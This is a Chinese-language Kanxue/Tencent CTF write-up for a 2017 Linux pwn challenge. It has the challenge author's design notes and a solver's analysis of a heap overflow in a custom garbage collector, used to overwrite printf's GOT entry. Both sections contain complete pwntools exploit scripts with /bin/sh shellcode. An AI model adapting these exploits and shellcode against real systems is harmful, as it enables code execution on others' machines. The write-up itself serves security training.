看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

Editor發表於2017-11-07

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

看雪CTF 官網

導語

經過兩天奮戰,第七題結束。

第七題出題者Ox9A82以14人攻破的成績,排位防守方第三名。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

攻擊方hotwinter依然排名第一位,iweizime上升一位,現排名第二名。

此題過後,前十名的排名依然在不斷變化中......現前十名的排名如下:

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

選手們正在帶給我們越來越多的驚喜~

距離比賽結束還剩三題,同志們,加油吧!

接下來讓我們一起來看看第七題的點評、出題思路和解析。

看雪評委netwind點評

作者設計新穎,引入了一個記憶體管理結構GC來提供自動的記憶體管理,但實際環境中GC也常常漏洞頻發。本題中cheat函式功能存在堆溢位漏洞,通過堆溢位控制GC的指標結構,之後通過觸發回收可以造成任意地址寫的操作,通過任意地址寫控制函式的got表的內容就可以實現漏洞利用。

第七題作者簡介

Ox9A82,曾在騰訊實習的安全研究員,關注瀏覽器和Windows系統的安全漏洞,目前從事Edge瀏覽器Chakra引擎的安全研究。同時也是一名屬於Syclover和Nu1L團隊的CTFer和CTF-Wiki的編輯者,對CTF中的各類Pwn技巧比較有興趣。

最早結識看雪平臺出於對逆向和核心Rootkit技術的熱愛,在看雪也學習到了很多,希望看雪接下來可以越辦越好。

第七題設計思路

這道題出題時的想法是把實際漏洞環境中比較常見的GC結合進CTF中的Linux Pwn題目中,但是比較遺憾的是水平有限沒能夠在出題時間內完成整個GC的漏洞設計,所以只好做了簡化並構造了漏洞,因此這個利用的難度其實比較簡單。

首先,解釋一下什麼是GC,GC一般稱作垃圾回收,設計GC的目的是為了給程式設計師提供自動的記憶體管理,這樣程式設計師就不需要手動的去釋放記憶體了。因為程式設計師手動管理記憶體往往會產生記憶體洩漏等問題,所以現在一般的指令碼語言或者虛擬機器往往都存在有GC,比如java虛擬機器、javascript引擎等等。

但是,在實際環境中GC也是漏洞的高發地帶,比如在IE瀏覽器mshtml中各種DOM物件都是基於引用計數進行記憶體管理的,複雜的引用計數關係導致出現了大量的Use-After-Free漏洞。

在這道題目中,涉及到了一個基礎的引用計數法(Reference Counting Collector)GC,當程式分配記憶體之後會自動維護對於每個塊的引用技術,當檢測到某個塊的計數為0時就會把它回收以便進行下一次使用。

但是在進行記憶體回收時,這個塊中可能會存在對其它塊的引用,因此釋放此塊時需要對塊中所有的指標進行判斷,如果判定是由GC維護的塊就需要對指標指向的塊也做引用計數減一的操作。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

這道題目中cheat功能存在一個堆溢位漏洞,通過堆溢位可以控制到GC的指標結構,之後通過觸發回收可以造成一個任意地址寫固定值的操作,通過任意地址寫控制函式的got表內容就可以實現getshell。

from pwn import *

import time

from ctypes import *

import os, sys

def uint32(x):

return c_uint32(x).value

def log(str):

log.info(str)

def info(string):

return log.info(string)

def js(str):

return io.recvuntil(str)

def jsn(num):

if num:

return io.recvn(num+1)

else:

return io.recvn(num)

def fs(str):

io.sendline(str)

def fsn(str):

io.send(str)

def stop():

while 1:

time.sleep(1)

def shell():

io.interactive()

def mark(name,vaule):

string='\n=====>'+str(name)+' :'+str(vaule)+'\n'

print string

def dbg(string):

raw_input(string)

def shellcode():

return asm(shellcraft.amd64.linux.sh())

###setting

local=1

debug=0

log=1

if local:

io=process('./pwn')

#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

else:

io=remote('127.0.0.1',10086)

libc = ELF('./libc')

if log:

context(log_level='debug')

if debug:

gdb.attach(io)

#user code =============================

def signup():

js('2.Signup')

fs('2')

js('input your username')

fs('1')

js('input your password')

fs('1')

js('input your character')

fs('1')

def login():

js('2.Signup')

fs('1')

js('Input your username:')

fs('1')

js('Input your password:')

fs('1')

def goto():

js('0.exit')

fs('3')

js('6.Primorsk')

fs('1')

def explore():

js('0.exit')

fs('4')

try:

js('Do you want to pick up it?')

except Exception:

js('nothing found')

return False

fs('y')

return True

def view_package():

js('0.exit')

fs('2')

def del_item(num):

js('Your Choice:')

fs(str(num))

js('2.return')

fs('1')

js('2.return')

fs('2')

js('Your Choice:')

fs('8')

def cheat():

js('0.exit')

fs('5')

js('name')

fs('1')

js('content')

fs('123')

def overflow(str):

js('0.exit')

fs('5')

js('content')

fs(str)

def get_shell():

js('0.exit')

fs('y')

fs('1')

js('Input your username:')

fs('1')

js('Input your password:')

fs('1')

shell()

if __name__=='__main__' :

signup()

login()

goto()

cheat()

if False==explore():

mark('try again')

if False==explore():

mark('try again')

payload='a'*32+p64(0x1)+p64(0x18)+p64(0x0605058)+p64(0x0)+p64(0x1)

overflow(payload)

view_package()

del_item(1)

payload2=7*8*2*'a'+"\xeb\x10\x48\x31\xc0\x5f\x48\x31\xf6\x48\x31\xd2\x48\x83\xc0\x3b\x0f\x05\xe8\xeb\xff\xff\xff\x2f\x62\x69\x6e\x2f\x2f\x73\x68"

overflow(payload2)

get_shell()

下面選取攻擊者 iweizime 的破解分析

第七題由於是作者自己實現的記憶體分配機制,所以描述起來比較麻煩,貼了很多圖。其實沒有那麼複雜。

檢查和測試

拿到程式後,還是按照流程先用pwntools檢查一下,結果如下。

$pwn checksec pwn

Arch:    amd64-64-little

RELRO:    Partial RELRO

Stack:    Canary found

NX:      NX enabled

PIE:      No PIE (0x400000)

可以看到程式是64位的,可以改got表,有棧保護,有NX,沒有PIE。雖然開了NX保護,但是並沒有什麼用,還是可以用shellcode,後面會說到。

然後先跑一下程式,瞭解一下基本流程。進過幾次測試之後,很幸運的發現一個使程式崩潰的漏洞,雖然不知道漏洞詳情,但能崩潰就有可能導致程式碼執行。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

逆向

pwn題的逆向一般會簡單很多,因為裡面會有很多字串,而且考點也不是逆向。只挑和漏洞有關的幾個函式說一下。

首先main很簡單。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

在函式init_game裡面,用函式mmap_mem分配了一塊記憶體,將這塊記憶體的首尾地址儲存在了兩個全域性變數mem_start, mem_end中,然後又儲存了一個top_chunk指標,用於作者自己實現的mymalloc函式分配記憶體。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

在往下看,到mmap_mem函式裡面,就發先一些問題了,函式mmap分配的記憶體是可讀、可寫、可執行的。這也就是NX保護沒有用,可以使用shellcode的原因。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

在註冊、登陸之後,主要迴圈如下:

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

其中的cheat函式存在問題,如果是首次cheat,會分配一塊大小為48位元組的記憶體,前16位元組作為name,後32位元組作為content。然而再次cheat的時候,讀入content的最大長度為300,這顯然是個漏洞。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

現在來看一下為什麼登陸兩次會發生崩潰。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

在signup的時候,程式會分配一塊48位元組大小的記憶體,並呼叫set_buf函式來使全域性變數userinfo指向這塊記憶體。當再次signup的時候,程式又分配一塊新記憶體,然後將全域性變數userinfo指向新的記憶體,並對原來的那塊記憶體進行一次應該是類似於free但是很奇怪的操作。

下面來看一下maybe_free和與之相關的幾個函式。

首先是set_buf函式,它呼叫了maybe_free函式。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

然後是maybe_free函式本身。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

再然後是find_valid_addr_in_chunk函式。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

再然後是valid_address函式。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

最後是add_to_array函式。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

用圖解釋一下add_to_array做了什麼

addr --->  +-+-+-+-+-+ <--+  +-----------> +-+-+-+-+-+ <--- free_array

|        |    +---+------------ |        |

+-+-+-+-+-+        |            +-+-+-+-+-+

|        |        |            |        |

+-+-+-+-+-+        |            +-+-+-+-+-+

|        | -------+            |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

|        |                      |        |

+-+-+-+-+-+                      +-+-+-+-+-+

弄清楚這幾個函式之後,就可以搞清楚崩潰的問題了。

maybe_free函式呼叫find_valid_addr_in_chunk函式在要釋放的記憶體中找出它認為是指標(也就是找它認為合法的地址)的欄位,然後將這個指標指向的chunk地址儲存到一個全域性變數free_array指向的陣列裡,這個陣列也是通過myalloc函式分配的,然後將陣列的當前地址儲存進上述指標指向的位置。一開始輸入的使用者名稱weizi變成64為整數為0x697A696577,正好是程式認為的合法地址,但是這個地址又不可寫,所以造成了崩潰。可以利用這個漏洞來寫got表。

資料結構

在寫exploit之前,還需要了解一下資料結構

struct chunk_header_stru {

int64_t inuse;

int64_t size;

}

struct userinfo_stru {

int64_t            unused;

char                username[16];

char                password[16];

characterinfo_stru  *character;

};

struct characterinfo_stru {

char        name[16];

int64_t    health;

int64_t    stamina;

int64_t    available_weight;

int64_t    location;

item_stru  *items;

};

struct item_stru {

int64_t    type;

int64_t    weight;

int64_t    num;

item_stru  *next;

int64_t    bullet;

int64_t    power;

};

Exploit

利用的思路是首先用printf的got表項地址作為使用者名稱signup,然後login並cheat一次。退出後再signup一次,將printf的got表項改為free_array指向的陣列的地址。最後用cheat把shellcode寫入陣列的位置,並觸發對printf的呼叫。

第一次signup,login,cheat之後,記憶體佈局如下:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|  old_usrnf  |    old_chrctrnf      |    cheat      |

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

再signup,login之後,記憶體佈局如下

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

|  old_usrnf  |    old_chrctrnf      |    cheat    |  new_usrnf  | array | ......

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

^

|

printf

接下來,只要再一次用cheat來把shellcode寫入array的位置,並觸發printf就可以了。我選取的是函式show_my_status來呼叫printf,還有一點需要注意的是在show_location函式裡面用到了userinfo->characterinfo->location,如果location不合法會退出,所以在覆蓋new_usrnf的時候要稍微注意一下。

看雪.騰訊TSRC 2017 CTF 秋季賽 第七題點評及解析思路

只需要signup,login,cheat,show_my_status四個操作就可以拿到shell。

#!/usr/bin/env python2

# -*- coding: utf-8 -*-

from pwn import *

# Set up pwntools for the correct architecture

context.update(arch='amd64')

context.log_level = 'info'

exe = './pwn'

# Many built-in settings can be controlled on the command-line and show up

# in "args".  For example, to dump all data sent/received, and disable ASLR

# for all created processes...

# ./exploit.py DEBUG NOASLR

# Specify your GDB script here for debugging

# GDB will be launched if the exploit is run via e.g.

# ./exploit.py GDB

gdbscript = '''

continue

'''.format(**locals())

def start(argv=[], *a, **kw):

if args.REMOTE:

return remote('123.206.22.95', 8888)

if args.GDB:

return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)

else:

return process([exe] + argv, *a, **kw)

#===========================================================

#                    EXPLOIT GOES HERE

#===========================================================

io = start()

def signup(username, password, character_name):

io.recvuntil('2.Signup')

io.recvuntil('==============================')

io.sendline('2')

io.recvuntil('input your username')

io.sendline(username)

io.recvuntil('input your password')

io.sendline(password)

io.recvuntil("input your character's name")

io.sendline(character_name)

def login(username, password):

io.recvuntil('1.Login')

io.recvuntil('==============================')

io.sendline('1')

io.recvuntil('Input your username:')

io.sendline(username)

io.recvuntil('Input your password:')

io.sendline(password)

def cheat(name, content, isFirstTime=True):

if isFirstTime:

io.recvuntil('0.exit')

io.sendline('5')

io.recvuntil('name:')

io.sendline(name)

io.recvuntil('content:')

io.sendline(content)

else:

io.recvuntil('0.exit')

io.sendline('5')

io.recvuntil('content:')

io.sendline(content)

def goto(location):

io.recvuntil('0.exit')

io.sendline('3')

io.recvuntil('6.Primorsk')

io.sendline(str(location))

def explore(pickup):

io.recvuntil('0.exit')

io.sendline('4')

io.recvuntil('Do you want to pick up it?')

if pickup:

io.sendline('y')

else:

io.sendline('n')

l = io.recvline()

if l == 'Ok..\n':

return True

else:

return False

def view_and_remove(choice):

io.recvuntil('0.exit')

io.sendline('2')

io.recvuntil('Your Choice:')

io.sendline(str(choice))

io.recvline('2.return')

io.sendline('1')

io.recvline('2.return')

io.sendline('2')

io.recvuntil('Your Choice:')

io.sendline('-1')

def logout():

io.recvuntil('0.exit')

io.sendline('0')

def show_status():

io.recvuntil('0.exit')

io.sendline('1')

printf_got = 0x605038

signup(p64(printf_got), '12345678', 'root')

login(p64(printf_got), '12345678')

cheat('weizi', 'weizi', True)

logout()

signup(p64(printf_got), '012345678', 'root')

login(p64(printf_got), '012345678')

payload = 'A' * 32

payload += p64(1)

payload += p64(0x40)

payload += p64(0)

payload += p64(printf_got)

payload += p64(0)

payload += '12345678'

payload += p64(0)

payload += p64(0x6050B8 - 40)  # 偽造的characterinfo *

payload += p64(1)

payload += p64(0x20)

shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"

payload += shellcode

log.info("len(payload) = {}".format(len(payload)))

cheat(None, payload, False)

show_status()

io.interactive()

最後得到的flag為flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}。

一點總結

做題首先要細心,像cheat函式中的漏洞很明顯,不要漏掉。

要關注輸入,有輸入的地方才最有可能出漏洞。在這題中,能控制的輸入最多的就是cheat,其次就是signup。剩下的基本上只能輸入1, 2, 3 ...或者yYnN等。

溫馨提示

每道題結束過後都會看到很多盆友的精彩解題分析過程,因為公眾號內容的限制,每次題目過後我們將選出一篇與大家分享。解題方式多種多樣,各位參賽選手的腦洞也種類繁多,想要看到更多解題分析的小夥伴們可以前往看雪論壇【CrackMe】版塊檢視哦!

相關文章